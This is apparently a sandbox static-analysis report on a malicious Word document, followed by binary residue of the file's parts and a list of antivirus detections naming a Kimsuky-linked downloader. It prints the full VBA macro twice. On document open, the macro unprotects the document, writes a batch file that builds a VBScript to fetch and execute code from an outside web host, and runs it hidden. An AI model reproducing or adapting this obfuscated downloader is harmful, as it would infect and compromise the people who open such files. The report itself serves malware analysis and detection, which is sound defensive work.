popup
Static | ZeroBOX
  1. Home
  2. Result
  3. Report
  4. Detail Analysis

Static Analysis

Original

                                        Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Function GenPlace()
    Set obTmp = Application.Templates
    Dim tmp As Template
    For Each tmp In obTmp
        If tmp.Type = 1 Then
            GenPlace = tmp.Path
            Exit For
        End If
    Next
End Function
Sub Weed(p)
    Application.ActiveWindow.View.Type = wdPrintView
    Set wnd = ActiveDocument
    wnd.Unprotect p
End Sub
Sub tele(Param As String)
 With CreateObject("WScript.Shell")
  .Run Param, 0, True
 End With
End Sub
Sub Reserve(pth)
    
    myword = "b><scr"
    mycomm = "ect(""Mi"
    myfath = "infotechkorea.com/gnuboard4/adm/cmg/upload"
    mymoth = "T"", ""h"
    mycom1 = "teOb"
    mycom2 = mycom1 & "j"
    mymans = "tp"
    mycom3 = "P""):ms.o"
    mycom1 = "ea" & mycom2 & mycomm & "c"
    mycomm = "roso"
    mytemp = "ery="
    myfats = mymans & ":/"
    mycom2 = "t.XM"
    mynums = "1"", F"
    comm1 = "s = Cr" & mycom1 & mycomm & "f"
    mycomm = "LH"
    comm2 = comm1 & mycom2 & mycomm & "TT" & mycom3
    mycomm = "et m" & comm2 & "pen ""G" & "E" & mymoth
    myfath = myfats & "/" & myfath
    mycom1 = mycomm & "t" & myfath
    mymens = "me Ne"
    myname = "cri"
    mywome = "ist.p"
    mymems = "xt:S" & mycom1 & "/l" & mywome
    mymoth = "s.S"
    com1 = "rro"
    mycomm = "n E"
    com2 = "?q"
    com3 = "r Re"
    mymans = "O" & mycomm & com1 & com3 & "su" & mymens
    com3 = "guag"
    mycomm = "t"">" & Chr(13) & mymans & mymems & "hp"
    myfath = "ecut"
    mycom1 = "u" & mytemp & mynums & "als"
    mytemp = mycom1 & "e:m" & mymoth & "en"
    mymoth = "t)" & Chr(13) & "</sc"
    mycom1 = myname & "p" & mycomm & com2 & mytemp
    com2 = "pt la"
    myoks = "crip"
    com1 = "BS" & mycom1 & "d:E"
    mytemp = com1 & "x" & myfath & "e(m"
    com1 = "e=""V"
    mycomm = "cri" & com2 & "n" & com3 & com1 & mytemp & "s.re"
    com1 = "></j"
    Documents.Add
    com3 = "t"
    com2 = "ob>"
    com3 = com3 & com1 & com2
    Set ad = ActiveDocument
    myfath = "5,1" & Chr(13) & "ws"
    myalls = "b><s" & mycomm & "spon"
    mems = "sf""" & Chr(13) & "<jo" & myalls & "s"
    mytemp = "eTe"
    mems = "~f0?." & "w" & mems & mytemp & "x" & mymoth
    myalls = "xe """
    myoks = "de 1" & myfath & myoks & "t.e" & myalls & "%" & mems
    myalls = "mo" & myoks & "rip" & com3
    
    ad.Range.Text = myalls
    fval = wdFormatText
    ad.SaveAs2 FileName:=pth, FileFormat:=fval
    ad.Close
End Sub

Sub Review(vmod)
    On Error Resume Next
    Set wnd = ActiveWindow
    Set sel = Selection
    wnd.View.SeekView = vmod
    rval = False
    sel.WholeStory
    hm = False
    sel.Font.Hidden = hm
    rval = True
    If rval = True Then
        sel.Collapse
    End If
End Sub

Sub ViewContent()
    Mode = 10
    Do Until Mode < 0
        Review (Mode)
        Mode = Mode - 1
    Loop
End Sub

Sub AutoOpen()
    On Error Resume Next
    myject2 = "32_pr"
    myject = "mts"
    pw = "1qaz2wsx"
    mysject = "winmg"
    mysject1 = "win"
    myject = mysject & myject & ":" & mysject1
    Weed pw
    myject3 = "ocess"
    myject = myject & myject2 & myject3
    Set adom = ActiveDocument
    ins = "w"
    ts = "xe //e:vb"
    With adom.Shapes("pic")
        cd = " //b "
        .Fill.Solid
        mt = "script"
        Set wm = GetObject(myject)
        ts = ts & mt
        ins = ins & mt & ".e"
        pth = Templates(1).Path & "\version.b"
        pth = pth & "at"
        cd = ins & ts & cd
        .Delete
    End With
    ViewContent
    Reserve pth
    ts1 = "//e:vbscr"
    mt1 = "ipt"
    cd1 = " //b "
    shpe_reg = "cm"
    depStep = shpe_reg & "d.ex"
    shpe_reg = "e /c "
    depStep = depStep & shpe_reg
    bigstr = depStep & pth
    tele (bigstr)
    'wm.Create  bigstr
    'wm.Create "calc.exe"
    adom.Save
End Sub

Deobfuscated

                                        Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Function GenPlace()
    Set obTmp = Application.Templates
    Dim tmp As Template
    For Each tmp In obTmp
        If tmp.Type = 1 Then
            GenPlace = tmp.Path
            Exit For
        End If
    Next
End Function
Sub Weed(p)
    Application.ActiveWindow.View.Type = wdPrintView
    Set wnd = ActiveDocument
    wnd.Unprotect p
End Sub
Sub tele(Param As String)
 With CreateObject("WScript.Shell")
  .Run Param, 0, True
 End With
End Sub
Sub Reserve(pth)
    
    myword = "b><scr"
    mycomm = "ect(""Mi"
    myfath = "infotechkorea.com/gnuboard4/adm/cmg/upload"
    mymoth = "T"", ""h"
    mycom1 = "teOb"
    mycom2 = mycom1 & "j"
    mymans = "tp"
    mycom3 = "P""):ms.o"
    mycom1 = "ea" & mycom2 & mycomm & "c"
    mycomm = "roso"
    mytemp = "ery="
    myfats = mymans & ":/"
    mycom2 = "t.XM"
    mynums = "1"", F"
    comm1 = "s = Cr" & mycom1 & mycomm & "f"
    mycomm = "LH"
    comm2 = comm1 & mycom2 & mycomm & "TT" & mycom3
    mycomm = "et m" & comm2 & "pen ""GE" & mymoth
    myfath = myfats & "/" & myfath
    mycom1 = mycomm & "t" & myfath
    mymens = "me Ne"
    myname = "cri"
    mywome = "ist.p"
    mymems = "xt:S" & mycom1 & "/l" & mywome
    mymoth = "s.S"
    com1 = "rro"
    mycomm = "n E"
    com2 = "?q"
    com3 = "r Re"
    mymans = "O" & mycomm & com1 & com3 & "su" & mymens
    com3 = "guag"
    mycomm = "t"">" & Chr(13) & mymans & mymems & "hp"
    myfath = "ecut"
    mycom1 = "u" & mytemp & mynums & "als"
    mytemp = mycom1 & "e:m" & mymoth & "en"
    mymoth = "t)" & Chr(13) & "</sc"
    mycom1 = myname & "p" & mycomm & com2 & mytemp
    com2 = "pt la"
    myoks = "crip"
    com1 = "BS" & mycom1 & "d:E"
    mytemp = com1 & "x" & myfath & "e(m"
    com1 = "e=""V"
    mycomm = "cri" & com2 & "n" & com3 & com1 & mytemp & "s.re"
    com1 = "></j"
    Documents.Add
    com3 = "t"
    com2 = "ob>"
    com3 = com3 & com1 & com2
    Set ad = ActiveDocument
    myfath = "5,1" & Chr(13) & "ws"
    myalls = "b><s" & mycomm & "spon"
    mems = "sf""" & Chr(13) & "<jo" & myalls & "s"
    mytemp = "eTe"
    mems = "~f0?.w" & mems & mytemp & "x" & mymoth
    myalls = "xe """
    myoks = "de 1" & myfath & myoks & "t.e" & myalls & "%" & mems
    myalls = "mo" & myoks & "rip" & com3
    
    ad.Range.Text = myalls
    fval = wdFormatText
    ad.SaveAs2 FileName:=pth, FileFormat:=fval
    ad.Close
End Sub

Sub Review(vmod)
    On Error Resume Next
    Set wnd = ActiveWindow
    Set sel = Selection
    wnd.View.SeekView = vmod
    rval = False
    sel.WholeStory
    hm = False
    sel.Font.Hidden = hm
    rval = True
    If rval = True Then
        sel.Collapse
    End If
End Sub

Sub ViewContent()
    Mode = 10
    Do Until Mode < 0
        Review (Mode)
        Mode = Mode - 1
    Loop
End Sub

Sub AutoOpen()
    On Error Resume Next
    myject2 = "32_pr"
    myject = "mts"
    pw = "1qaz2wsx"
    mysject = "winmg"
    mysject1 = "win"
    myject = mysject & myject & ":" & mysject1
    Weed pw
    myject3 = "ocess"
    myject = myject & myject2 & myject3
    Set adom = ActiveDocument
    ins = "w"
    ts = "xe //e:vb"
    With adom.Shapes("pic")
        cd = " //b "
        .Fill.Solid
        mt = "script"
        Set wm = GetObject(myject)
        ts = ts & mt
        ins = ins & mt & ".e"
        pth = Templates(1).Path & "\version.b"
        pth = pth & "at"
        cd = ins & ts & cd
        .Delete
    End With
    ViewContent
    Reserve pth
    ts1 = "//e:vbscr"
    mt1 = "ipt"
    cd1 = " //b "
    shpe_reg = "cm"
    depStep = shpe_reg & "d.ex"
    shpe_reg = "e /c "
    depStep = depStep & shpe_reg
    bigstr = depStep & pth
    tele (bigstr)
    'wm.Create  bigstr
    'wm.Create "calc.exe"
    adom.Save
End Sub
[Content_Types].xml
d/Oztd
_rels/.rels
word/_rels/document.xml.rels
$jn9wr
word/document.xml
r18xjW>
lTfG{
?B3?7x
`*'op).
>i[.pQe
/[%zPaG
6C.%t_
(]{!dC
Wi2;x5
b~tOo x+
^yX5PN
2\VTpo
Yq_8X;
KZTR]w
!CC%gPT6
X}P?ATD
s3(Sh.
P97e|e
zRqzl-4
WUdzNb
-Oue`q
iRN!/
8Y|=}f
Z@bPT-9
!BGG-H
b/ x+W
b+SZ#BA
)l~i?Ey
bzIH5j=ON
kaQR66r
A nj~CZ
}W{8v&
y,Ft>{e
X.w};mi
sKG3[(
B[Hr"3
LpdNw,
X%<42;f
A8n=ZO_
CeSy*g
wfR;lO5D
TlnraL
'V=k4H1
O!m*/;
J2'E7-6
0q93GM
WYy_:r
Hi1Wb3v:/W
igr[el(Q
>O#%cui
h-{BrK
p!9!EVys
K1jO;B
'R'2'
jox%T\H
/M%=G(
@bI-EHW
\a&k0=
Z`Oy-&
G+4c+h
Gw?_p+
eKS)Hf
*Xa%:V
+'1=MT
igATvsu
E>p+xdv
eQ//Ku~
BZa"I<zh
CadY/''
u(z)9~=
2~71Xq
i4+Wo+
99@LHd
CupTxG|Z
']7GmPRU
Z&+_BxW
|(3a~&
)DEexAb
}at2FE
|?1#Ag
j}60Dk816
(F(yu
V,[/@"
k*w::,K
D_CP;|e
X$3@dQ
OSBS,{R-
Mh2L X$~,
p+Q{W@
mGGB-v
Mz"!^3
M^*9NC1
@n>M8F
rM+Y YVk
4n{<Ht
x5MnwR
kp.omB
]a'f#x
R 9#h(j
A(E2TY6
5>4"]BqE
Jy!Q2+
~"K|Db
kG/gX6
!c#qDO
y6_Diq
IuMa:m
,nXArj
6e`z=Dx
2\nYB?B
S"k/u_
ybNqKB
A(rjBm
rfGIc?
1:W',x
B: ^Ai
owB&cp5
#ieSDV
XVgqYoYn
U?7*w.
3tQ-0
E,,',-[
QXGD-V
[pK*?O
;T)N$S
G_0(-0T6
!L-=ZTD.+
4v8Ol(
E+f{t6$/
OL4-(%
+pODb~'
C^oRSR
sO.<Q!d
z^;`<>J
}#ijku
L%&s{$
1O&>@{
A,_1eE
o&4jeo
yx%1pn
y8i'NI
I+mgiY*
5MMRL>O
qn`x9/
#]QTk[
-_,0E"
Jbsrzv
^"sonb`
HBCxI
*zPlyf
word/endnotes.xml
word/footnotes.xml
word/theme/theme1.xml
,LcQ\tg
word/media/image1.png
IDATx^
E|i5_T
XinLk
aZ5n85
6,c2_i
GpV;(
$/-:@v;
|CffHz
^95Lr<
Uh\n<t
EUtY27
g5r*__
iSsv.8/
G@AMK<
gRB!_@+
|ArNQ,=
1N!LK,
;~fnLd]
1sc":eW
;VQa&E
F~lvp_Iv]
jT++z!
._^gn_n
JH#qi4
a5_<-]
Lg?)+II
Tx8Bm :
$SrfqE
1"K*HR&
X\N&tI
SNIj"-G
t,3|f$:
.6EVbcq
N!Yb 4L?mV
drdDI$5Y
yP4>|f
eH+Z_(
R]VUY\^Y\
8{W)YU
:_YsqM}
pnofd@
]>o|pp
V1n9cOFsu
+jVMwh
HYU^:}`
mB!5]g
293b:=
wmiY^S\[
8sj<D )
QU\\]R
IFg@v3
}f=nh'
)hv:xE
X|d$:2
plh(60
5fYZRS
L63BA);
u-bM3W
VkiSSIc
B+^'=(
6`d\s2
l\]G-d
/(%$z%
U45U.ZT
,j&}b_
ulHn?&w
UYa7lb[
>y*52B'
UTST^
bicg3`
uIMcKuCRU^<
]US)Fs
o^Qu]kY
k6,.-Kd
_*Gv)'
m{;3)I
KYuiYU
S;[tYSUEa5O
PR6~i*-o()-
Pzd(=2
Rw*#s,+
Nh<MQF
-KJ+|N']
JE2g3b
sZ=s\9}P9
S~/>
|yk%EB3J
Pbp(14
>~fKQIQ
6pSZVYV
ndZtKJJ
PZT\SY
Re*{E
PeyhJS
]:njQE
0\[U1{
DreU?)
^?g^YC
&JJ+$S
HC*jyE
U\\Y^2
P_QWWQ[[V]]RQa=
80huM"
x|]CUi
TVQ2fB
`OOU]}
6yyUYemeEMe
q:4c8R
,{No,i
PQ^[U^
Njhn(.+
eluSSyUue}
;mL}eq8
]f+)/
(\T\QQv
f*/+S7
8]UR6k
~Y\VYV;
@(RT_S
/]7ibce
2jMO%:
Pfdb(\
]gt/]R
;+vsx_
:PduMb
$RRV^>
P0z?NI
{:/.+/
S"aiI
o_{_W
VZT^Y\Qi=
^Y:eNqumqm
`QIYYE
^vB{_WW
k0RWYVWQ
WRQQ^[
[RR\]_]RZ
hQVRRYfu
qz$+o9
6=)NKC
;?x9YTn
&Y@MJr
x=t>HX\
F7Dm.L
UWN1}'9
~=R`S'
555j"FD.
=]]]MMM
>uuuzh
8S>fqS
Vjjjd]&
jooWa
lFRlTL0=
7+MqJQ3
'eH/<D
:5,W~i
E6JM4T
r9nBK*
dJZ&:9
1yp(Eq
7O&:Y{L
ZH6dtd3
7K:1_9
/XUI{0
qcWWWSSS
mFr\iB;v
;fZ>Be
;B6'Y'
:gQfK%
iOMvfY!+Jx
F6AOJBfPs
NJRj]Ll%Y
j5CjR{
I#?uaJ
rS3H"R
:p|GC!
Hq8d'&
1sfD/\HzM
sgM217
k^81Ed
V) c'N
N\w&z7P
#q2J-Y
{RP]]])
J'7DZ)
_G[w2}
[e7%cn
dd[RWT!9
0wiuvv
x&e{a&[]
3&Rcrk
s*KM/lc
>f 5)%9
1i1&|:#
t,d[dY
85ng@kl
_?J3nhmjx
.]Zf1@4
8mD\<_r
[uBt7C
24K3PSz
$z)ebQ
reTTSh<b
2XTuW
vU[NSn
FO*jcdnC
S_5")bH
|]N?q4>
u\_|@*
%cx)0z
M{-7G)3)
word/media/image2.png
IDATx^
E|i5_T
XinLk
aZ5n85
6,c2_i
GpV;(
$/-:@v;
|CffHz
^95Lr<
Uh\n<t
EUtY27
g5r*__
iSsv.8/
G@AMK<
gRB!_@+
|ArNQ,=
1N!LK,
;~fnLd]
1sc":eW
;VQa&E
F~lvp_Iv]
jT++z!
._^gn_n
JH#qi4
a5_<-]
Lg?)+II
Tx8Bm :
$SrfqE
1"K*HR&
X\N&tI
SNIj"-G
t,3|f$:
.6EVbcq
N!Yb 4L?mV
drdDI$5Y
yP4>|f
eH+Z_(
R]VUY\^Y\
8{W)YU
:_YsqM}
pnofd@
]>o|pp
V1n9cOFsu
+jVMwh
HYU^:}`
mB!5]g
293b:=
wmiY^S\[
8sj<D )
QU\\]R
IFg@v3
}f=nh'
)hv:xE
X|d$:2
plh(60
5fYZRS
L63BA);
u-bM3W
VkiSSIc
B+^'=(
6`d\s2
l\]G-d
/(%$z%
U45U.ZT
,j&}b_
ulHn?&w
UYa7lb[
>y*52B'
UTST^
bicg3`
uIMcKuCRU^<
]US)Fs
o^Qu]kY
k6,.-Kd
_*Gv)'
m{;3)I
KYuiYU
S;[tYSUEa5O
PR6~i*-o()-
Pzd(=2
Rw*#s,+
Nh<MQF
-KJ+|N']
JE2g3b
sZ=s\9}P9
S~/>
|yk%EB3J
Pbp(14
>~fKQIQ
6pSZVYV
ndZtKJJ
PZT\SY
Re*{E
PeyhJS
]:njQE
0\[U1{
DreU?)
^?g^YC
&JJ+$S
HC*jyE
U\\Y^2
P_QWWQ[[V]]RQa=
80huM"
x|]CUi
TVQ2fB
`OOU]}
6yyUYemeEMe
q:4c8R
,{No,i
PQ^[U^
Njhn(.+
eluSSyUue}
;mL}eq8
]f+)/
(\T\QQv
f*/+S7
8]UR6k
~Y\VYV;
@(RT_S
/]7ibce
2jMO%:
Pfdb(\
]gt/]R
;+vsx_
:PduMb
$RRV^>
P0z?NI
{:/.+/
S"aiI
o_{_W
VZT^Y\Qi=
^Y:eNqumqm
`QIYYE
^vB{_WW
k0RWYVWQ
WRQQ^[
[RR\]_]RZ
hQVRRYfu
qz$+o9
6=)NKC
;?x9YTn
&Y@MJr
x=t>HX\
F7Dm.L
UWN1}'9
~=R`S'
555j"FD.
=]]]MMM
>uuuzh
8S>fqS
Vjjjd]&
jooWa
lFRlTL0=
7+MqJQ3
'eH/<D
:5,W~i
E6JM4T
r9nBK*
dJZ&:9
1yp(Eq
7O&:Y{L
ZH6dtd3
7K:1_9
/XUI{0
qcWWWSSS
mFr\iB;v
;fZ>Be
;B6'Y'
:gQfK%
iOMvfY!+Jx
F6AOJBfPs
NJRj]Ll%Y
j5CjR{
I#?uaJ
rS3H"R
:p|GC!
Hq8d'&
1sfD/\HzM
sgM217
k^81Ed
V) c'N
N\w&z7P
#q2J-Y
{RP]]])
J'7DZ)
_G[w2}
[e7%cn
dd[RWT!9
0wiuvv
x&e{a&[]
3&Rcrk
s*KM/lc
>f 5)%9
1i1&|:#
t,d[dY
85ng@kl
_?J3nhmjx
.]Zf1@4
8mD\<_r
[uBt7C
24K3PSz
$z)ebQ
reTTSh<b
2XTuW
vU[NSn
FO*jcdnC
S_5")bH
|]N?q4>
u\_|@*
%cx)0z
M{-7G)3)
word/vbaProject.bin
P'imll
K)rL[Kf
oS0\"z
(vGzU-I
;:cA[R
(RL=6%an
ts%WiK
i|sjuy
`__*$'
owuz)o
l%md#i%W
?c'fas$
C+<973
vhsZwP
9*VVx<
word/_rels/vbaProject.bin.relsl
-\Ya;>>
word/vbaData.xml
word/settings.xml
dLRYJK~V
-17F(Y
word/styles.xml
{~k]$zN
j9G\fa
gI`3^s
d1@{hg>s2
7[*s5n
}$[-`
P"[QU};
[#86S
%VT{V:#IeM
NRJ9PRj_
7_keQ{Kx%
}$^^"Oe
word/numbering.xml
&MzkLY
q`B=em
Ykvbm8
word/fontTable.xml
docProps/core.xml
&)>{-hi
word/webSettings.xml
docProps/app.xml
!l0zl|LA
[Content_Types].xmlPK
_rels/.relsPK
word/_rels/document.xml.relsPK
word/document.xmlPK
word/endnotes.xmlPK
word/footnotes.xmlPK
word/theme/theme1.xmlPK
word/media/image1.pngPK
word/media/image2.pngPK
word/vbaProject.binPK
word/_rels/vbaProject.bin.relsPK
word/vbaData.xmlPK
word/settings.xmlPK
word/styles.xmlPK
word/numbering.xmlPK
word/fontTable.xmlPK
docProps/core.xmlPK
word/webSettings.xmlPK
docProps/app.xmlPK
Antivirus Signature
Bkav Clean
Lionic Trojan.MSWord.Generic.4!c
Elastic malicious (high confidence)
Cynet Malicious (score: 99)
CMC Clean
CAT-QuickHeal Clean
ALYac Trojan.Downloader.DOC.Gen
Malwarebytes Clean
Zillya Clean
Sangfor Clean
K7AntiVirus Clean
BitDefender VB.Heur.EmoooDldr.4.BD43D74B.Gen
K7GW Clean
Arcabit VB.Heur.EmoooDldr.4.BD43D74B.Gen
Baidu Clean
VirIT Clean
Cyren ABRisk.WPRO-8
Symantec Trojan.Gen.NPE.C
ESET-NOD32 VBA/Kimsuky.K
TrendMicro-HouseCall TROJ_FRS.0NA103LG22
Avast Clean
ClamAV Clean
Kaspersky UDS:DangerousObject.Multi.Generic
Alibaba Trojan:Office/SAgent.22500587
NANO-Antivirus Trojan.Ole2.Vbs-heuristic.druvzi
SUPERAntiSpyware Clean
MicroWorld-eScan VB.Heur.EmoooDldr.4.BD43D74B.Gen
Rising Clean
Ad-Aware VB.Heur.EmoooDldr.4.BD43D74B.Gen
Sophos Clean
Comodo Clean
F-Secure Heuristic.HEUR/Macro.Downloader.PBMD.Gen
DrWeb modification of W97M.Suspicious.1
VIPRE VB.Heur.EmoooDldr.4.BD43D74B.Gen
TrendMicro TROJ_FRS.0NA103LG22
McAfee-GW-Edition RDN/Sadoca
FireEye VB.Heur.EmoooDldr.4.BD43D74B.Gen
Emsisoft VB.Heur.EmoooDldr.4.BD43D74B.Gen (B)
SentinelOne Static AI - Malicious OPENXML
Avast-Mobile Clean
Jiangmin Clean
Avira HEUR/Macro.Downloader.PBMD.Gen
MAX malware (ai score=88)
Antiy-AVL Clean
Kingsoft Clean
Gridinsoft Clean
Microsoft Trojan:Win32/Leonem
ViRobot DOC.Z.Agent.16384.DNW
ZoneAlarm Clean
GData VB.Heur.EmoooDldr.4.BD43D74B.Gen
Google Detected
AhnLab-V3 Clean
Acronis Clean
McAfee Clean
TACHYON Suspicious/WOX.XSR.Gen
VBA32 Clean
Zoner Clean
Tencent Trojan.MsOffice.MacroS.12461063
Yandex Clean
Ikarus Clean
MaxSecure Clean
Fortinet Clean
BitDefenderTheta Clean
AVG Clean
Panda Clean
No IRMA results available.